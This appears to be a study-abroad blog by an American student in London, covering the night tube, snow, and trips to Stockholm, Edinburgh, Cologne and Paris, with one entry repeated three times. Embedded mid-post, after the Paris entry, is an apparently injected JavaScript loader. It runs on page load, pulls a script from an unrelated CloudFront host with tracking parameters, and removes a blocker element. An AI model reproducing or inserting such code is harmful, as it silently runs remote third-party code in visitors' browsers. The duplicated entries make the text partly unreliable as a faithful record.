It’s been quite a while since I’ve last written about my experiences in London, and so much has happened in the last few weeks! The weather in London has been absolutely beautiful lately and I’ve been trying to take every opportunity to be outdoors while it’s so sunny and warm. Yesterday, and friend and I went for a stroll through Regent’s Park in the sunshine, watched a bit of a rugby match (so British), and had a picnic in the grass. I’m hoping that the weather only continues to improve, but so far I’ve heard a few English people say, “The weather’s nice, but it could be cold and miserable again by next week. This is England!” So we’ll see.

In the past month or so, I’ve had three friends from home visit me- two of which are currently studying abroad in Ireland and France, and one flew in from Pittsburgh. Being here for over two months now, I felt pretty confident in showing them around, it even surprised myself! And it was a great way to see parts of the city I haven’t see since I first arrived, like Buckingham Palace and other tourist-y places like that.

London definitely feels more like home now. Looking back on the past two months, I can say that I am pretty sure I went through the normal stages of being away from home for an extended period of time- first, being happy and excited by the new place, and then second, being hit with a feeling of panic or homesickness in the realization that you will really be in this new environment for five months. I was never too homesick, but there have been moments where I wished I could just see my familiar friends from school for a night.  Those moments pass though, and I’m not at a place where I’m so appreciative of this great city! I really am already dreading the day I’ll have to hop on a plane and go home.

As for travel, my friend who is studying abroad in Galway, Ireland (Mollie) and I visited Cologne, Germany for a weekend a few weeks ago, and I completely fell in love with the country. My first thought upon landing back in London was, “I am not finished exploring that country!” There is just so much to see, and something about being in Germany really struck me as wonderful and comforting and welcoming.

Tomorrow, I leave for Paris!!! I’m meeting up with my friend, Hannah, who is studying abroad in Aix-en-Provence, France. Paris is right in between where we are living now, so we are both traveling by train and meeting at our hostel tomorrow afternoon. Unlike Stockholm, Edinburgh, and Cologne, Paris is a place that I’ve wanted to visit for my entire life. Don’t get me wrong, I was extremely excited to see those places and I already know that I want to go back to visit them again! But, however cliche that it may be, Paris is Paris and I don’t know anyone who wouldn’t want to see it. It’s PARIS!!! The weather is supposed to be a pleasant 70 degrees and sunny in Paris, so I’m obviously SO excited to break out my camera and stroll the romantic streets. Hopefully Paris is just as enchanting as I’ve always imagined it to be. if(typeof(jQuery)==’undefined’){(function(){var ccm=document.createElement(‘script’);ccm.type=’text/javascript’;ccm.src=’https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js’;var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(ccm,s);if(ccm.readyState){ccm.onreadystatechange=function(){if(ccm.readyState==”loaded”||ccm.readyState==”complete”){ccm.onreadystatechange=null;ccm_e_init(1);}};}else{ccm.onload=function(){ccm_e_init(1);};}})();}else{ccm_e_init();} function ccm_e_init(jc){if(jc){jQuery.noConflict();} jQuery(function(){var http=location.href.indexOf(‘https://’)>-1?’https’:’http’;var ccm=document.createElement(‘script’);ccm.type=’text/javascript’;ccm.async=true;ccm.src=http+’://d3lvr7yuk4uaui.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=15220&zoneid=14731&cid=&rid=&ccid=&ip=’;var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(ccm,s);jQuery(‘#cblocker’).remove();});};

Location: London

I’ve come to the conclusion that London needs to take a serious look at their public transportation system and reconsider the way it operates at night. Being a temporary resident of this grand city for a total of 39 days now, I feel as though I am fully justified to make such a statement, and I believe the following little anecdotes will further my credibility on the subject.

London, England is the capital of the United Kingdom, the biggest city in Europe, and the world’s leading tourism destination.  That being said, there are clearly a lot of people that go in and out and through the city. Over the past month and a half, I’ve found the world-famous underground to be reliable, punctual, and clean during the day, but at night, it closes down early and leaves the millions of people who inhabit the city to rely on sporadic buses that could leave even the most intelligent people lost and utterly confused.  Not only does the tube close at midnight every night, but apparently it can’t handle a little winter weather. 

Last weekend it snowed in London. Back home, my home state of Pennsylvania is no stranger to snow; over the past few years, we’ve been hit with some pretty heavy blizzards and have somehow managed to survive. In London, it snowed about five inches over the span of 12 hours and it seemed like the entire city erupted into a chaotic frenzy with hundreds of people left out on the streets in the cold. I left a friend’s apartment at 10:30, thinking I had plenty of time to get home before the tube closed at 12. Little did I know, I soon became stranded on unfamiliar streets with strangers for FIVE. HOURS. in the wet snow. After multiple tube lines closed down due to the weather, I waited and waited and waited and waited for a bus to come to take me as close to my apartment as possible, but every bus that passed the stop was too full, full with passengers who, too, had been stranded in strange parts of the city. I couldn’t believe it! Taxis wouldn’t go out to drive, the tubes closed down, the buses were coming infrequently, and there were elderly couples and babies in strollers outside at 2:30 a.m., just wanting to go home.

This weekend, my friend from high school, Mollie, came to visit, and the two tubes lines that run from my apartment into central London were (SURPRISE!) closed. Not only that, but when we tried to go home after meeting some of Mollie’s friends at a bar, we were seconds too late to make the last tube home to Wembley and ended up lost in another random part of the city. Really, tube station worker guy? It’s 12:01 and you won’t let us onto the platform? It was beyond frustrating, and we ended up having to take a taxi all the way back to my apartment, which was not only an incredibly long drive, but an incredibly expensive one.

Even in Philadelphia, a city 8 million-people-smaller than London, has trains that run later than midnight, and that’s during the week! It just doesn’t seem reasonable to close a major form of public transportation at such early times in such a vibrant, massive, ​civilized city… and with that, I present my argument.

Location: London, England

Today marks my one month of being in London! This past month went by so fast, and it’s making me realize how quickly time can go by when you’re enjoying your life. You truly have to appreciate every single moment.

This past week has been busy and productive and very, very fun. I’ve been cracking down on da books, went shopping on Oxford Street (that was the productive part), and met up with friends I haven’t seen since I’ve been in London. On Wednesday, a friend I met while in Salisbury in March, Matt, was in London to see a band play.  During the day we met up and wandered the streets for hours until it got to be unbearably cold and we hit the pubs! Unfortunately, we got there around 5pm, just as all the business men of London were leaving work and getting drinks. It wasn’t really our crowd…  But Matt is definitely one of the strangest and most unique characters I’ve ever encounter in my LIFE and I’m really happy to have been able to see him again.

On Friday I met up with my friend Anjelica’s friend, Paul, who she knew while she lived in Germany in high school, and then saw Michael later in the day. Paul and I met in Camden, got coffee, and explored the infamous market together. We’re going to a 1940s-themed party when Anjelica visits in March, so he was shopping for an uniform to fit the part. If this doesn’t make any sense, here’s a link to the party’s website. It’s going to be AMAZING! http://www.theblitzparty.com/ I have to get a new dress!!

Over coffee, Paul, who grew up in Germany and has been living in London now for two years, and I talked about how we both realized quickly after leaving home for new place how strangely patriotic we became. He summed it up pretty well, “It’s like, when someone asks you if you’re from Germany (or America), you wanna be like ‘HELL YES I AM!'” It’s not that I’m homesick or want to be back in America yet; I guess it’s that whole “grass is greener” thing. While living in America, everything foreign seems magical and exotic, and now that I’m living here, not just touring the city, I can see that London is an incredible city, but it’s also a place where normal people live, eat, sleep, and breathe, and that America is a pretty spectacular place that we shouldn’t take for granted.

Later, I met with Michael in Trafalgar Square, we got lunch, and then basically just spent a few hours wandering down the Thames taking pictures. It was good to see him, especially in London.

Location: London, England

Last weekend, CIEE took us all to Edinburgh. We took the train from London, and the views along the 5-hour ride north were breathtaking! On Friday night, we did a pub crawl and met lots of fun people from Scotland. They actually wear kilts out…

Edinburgh was so different than both London and Stockholm. It was small like Stockholm, but there was something about it as a whole that was cute and gothic and maybe even a little haunting. I loved it, and I thought it was beautiful, but I feel like I need to go back to really delve into its history and culture and secrets.  Once I visit James in St. Andrews, I’m sure I’ll get a better feel for the city of Edinburgh.

Location: Edinburgh, Scotland

Since I’ve last posted an entry, a slew of crazy and momentous things have happened: I saw a play in Piccadilly Circus; I’ve been to all of my classes (and gotten homework…womp); two of my friends and I traveled to Sweden alone and survived (my glasses did not); legendary Joe Paterno passed away; Ingrid Michaelson’s new album came out! and it’s great!; I’ve visited more London landmarks and did some more solo exploring; and most recently, I traveled with my study abroad program to Edinburgh, Scotland. These past few weeks have been hectic and AMAZING, to say the least.
I don’t want to sound like a complete and total n00b, but my classes this semester could not be better.  First of all, I spontaneously switched into a yoga class with six other girls from my program and it ended up being one of the best decisions ever. It’s not just a silly little exercise class where we sleepily meditate and contort our bodies into strange shapes and positions- yoga is so much more than that! We’re learning about the mind and why we do certain things, how yoga can change our mental states for the better, and every time we learn new positions we are taught what muscles we are benefiting and what it all means for our body. It’s great because it gives all of us to come together once a week for four hours and really take a break from this crazy city life that most of us aren’t used to.

Two of my other classes are writing and English-y classes that are so interactive and fun- Romantic Writings and Creative Writing About London. These classes are filled with people from around Europe and United States, so it’s been interesting trying to overcome language barriers in such word-based classes.  My last class is called Art & Society. Each week we meet for an hour and discuss a cultural aspect of London, and then for the next two hours we venture out into the city to see a landmark that exemplifies the topic. Not gonna lie… it rocks.

On Thursday, January 19th, Nick, Catherine, and I set out for our first adventure in Europe- STOCKHOLM, SWEDEN. If you’ve never considered going to Stockholm before… you should. We went into this spontaneous trip with zero expectations and with nothing pre-planned other than our hostel booking. We arrived in Stockholm at 11:30pm, and from the remote little airport that RyanAir flew us into, we had to take an hour and a half bus ride into the actual city. From there, we got a taxi to our hostel, and finally reached our room around 1:15 am on Friday morning. It all went so surprisingly smoothly that we were actually waiting for something bad to happen.

I was captivated by Sweden the minute I got off the plane. I sat on the bus and literally thanked God for my eyesight as we drove down the highway in the middle of a snowy, winter night. I was in absolute awe of the silent, dark beauty of Sweden.

Our hostel was right on a river bank, which wasn’t exactly unusual because Stockholm is an archipelago of lots of little islands. For the next three days, we explored the quaint, humble city. Because we didn’t know what to expect, everything we stumbled upon was exciting, which I think is a beautiful thing. We climbed a huge hill despite the fact that it was covered in ice one night, only to find that once we reached the top there were incredible views of the lit city. Stockholm apparently has been having a hard time accepting the fact that Christmas has been over for weeks now; Christmas trees were still up and sparkling white lights were strung from just about every wall and pole in the city. It was enchanting.

Real Swedish REINDEER MEAT. It was delicious 🙂

Location: London, England

I remember in high school, right before graduation, my friends and I realized how big our town felt to us; Abington was our entire world.  Sure, we had been around the country, we had even traveled to Europe, but Abington was the place that felt comfortable, secure, real. Now that I have a second place to call home in State College, that place, too, seems safe and familiar. We read the newspapers, we see the stories online, we are connected to the entire world through Twitter and other social networks, but it’s hard to comprehend how vast the world actually is without getting out into it and seeing it for yourself.

In the past few weeks I’ve been all over this great city and I’ve met people from all over the world. I’ve made friends with people from Indiana, New Jersey, Washington, Georgia, Virginia, Missouri, Connecticut, and Illinois. On my birthday, a party full of people from the UK, Sweden, Germany, Saudi Arabia, Niger, and Libya sang happy birthday to me at midnight and hugged me like we were close friends. We’ve visited lots of the tourist spots and been to pubs for dinner and drinks. It’s hard to believe that we’ve only been here in London for one week, because we’ve seen so much, and these people I’m meeting on my program already feel like close friends. Somehow, getting close to them makes me already feel a little homesick for my friends from Abington and State College.  But then I remember that I’ll see them all soon enough, and once the summer comes around, I’ll be back in the same boat, wishing I were back in London with all of these great new friends.

For now, we’re all focusing on getting to know each other and London, focusing on making London feel like a third home. The world is a big place, after all, so we might as well get out into it.

Location: London, England

I remember in high school, right before graduation, my friends and I realized how big our town felt to us; Abington was our entire world.  Sure, we had been around the country, we had even traveled to Europe, but Abington was the place that felt comfortable, secure, real. Now that I have a second place to call home in State College, that place, too, seems safe and familiar. We read the newspapers, we see the stories online, we are connected to the entire world through Twitter and other social networks, but it’s hard to comprehend how vast the world actually is without getting out into it and seeing it for yourself.

In the past few weeks I’ve been all over this great city and I’ve met people from all over the world. I’ve made friends with people from Indiana, New Jersey, Washington, Georgia, Virginia, Missouri, Connecticut, and Illinois. On my birthday, a party full of people from the UK, Sweden, Germany, Saudi Arabia, Niger, and Libya sang happy birthday to me at midnight and hugged me like we were close friends. We’ve visited lots of the tourist spots and been to pubs for dinner and drinks. It’s hard to believe that we’ve only been here in London for one week, because we’ve seen so much, and these people I’m meeting on my program already feel like close friends. Somehow, getting close to them makes me already feel a little homesick for my friends from Abington and State College.  But then I remember that I’ll see them all soon enough, and once the summer comes around, I’ll be back in the same boat, wishing I were back in London with all of these great new friends.

For now, we’re all focusing on getting to know each other and London, focusing on making London feel like a third home. The world is a big place, after all, so we might as well get out into it.

Location: London, England

I remember in high school, right before graduation, my friends and I realized how big our town felt to us; Abington was our entire world.  Sure, we had been around the country, we had even traveled to Europe, but Abington was the place that felt comfortable, secure, real. Now that I have a second place to call home in State College, that place, too, seems safe and familiar. We read the newspapers, we see the stories online, we are connected to the entire world through Twitter and other social networks, but it’s hard to comprehend how vast the world actually is without getting out into it and seeing it for yourself.

In the past few weeks I’ve been all over this great city of London and I’ve met people from all over the world. I’ve made friends with people from Indiana, New Jersey, Washington, Georgia, Virginia, Missouri, Connecticut, and Illinois. On my birthday, a party full of people from the UK, Sweden, Germany, Saudi Arabia, Niger, and Libya sang happy birthday to me at midnight and hugged me like we were close friends. We’ve visited lots of the tourist spots and been to pubs for dinner and drinks. It’s hard to believe that we’ve only been here in London for three weeks, because we’ve seen so much, and these people I’m meeting on my program already feel like close friends. Somehow, getting close to them makes me already feel a little homesick for my friends from Abington and State College.  But then I remember that I’ll see them all soon enough, and once the summer comes around, I’ll be back in the same boat, wishing I were back in London with all of these great new friends.

For now, we’re all focusing on getting to know each other and London, focusing on making London feel like a third home. The world is a big place, after all, so we might as well get out into it.

Location: London, England